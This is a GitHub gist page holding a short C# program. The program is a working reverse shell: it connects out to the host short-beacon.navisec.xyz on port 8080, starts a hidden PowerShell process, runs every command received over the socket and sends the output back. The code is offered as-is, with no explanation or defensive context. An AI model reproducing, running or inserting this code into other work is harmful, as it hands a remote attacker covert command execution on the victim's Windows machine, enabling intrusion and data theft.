Skip to content

Instantly share code, notes, and snippets.

@pry0cc
Created February 12, 2020 21:58
Show Gist options
  • Save pry0cc/511f52d9e0abc80c6aac233cacf69bcd to your computer and use it in GitHub Desktop.
Save pry0cc/511f52d9e0abc80c6aac233cacf69bcd to your computer and use it in GitHub Desktop.
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace GoopyGoober
{
public class Program
{
static StreamWriter haloooo;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient("short-beacon.navisec.xyz", 8080))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
haloooo = new StreamWriter(stream);
StringBuilder daddyInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "powershell.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(cmdyBoi);
p.Start();
p.BeginOutputReadLine();
while(true)
{
daddyInput.Append(rdr.ReadLine());
// daddyInput.Append("\n");
p.StandardInput.WriteLine(daddyInput);
daddyInput.Remove(0, daddyInput.Length);
}
}
}
}
}
private static void cmdyBoi(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder daddyOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
daddyOutput.Append(outLine.Data);
haloooo.Write("\n" + daddyOutput);
haloooo.Flush();
}
catch (Exception err) { }
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment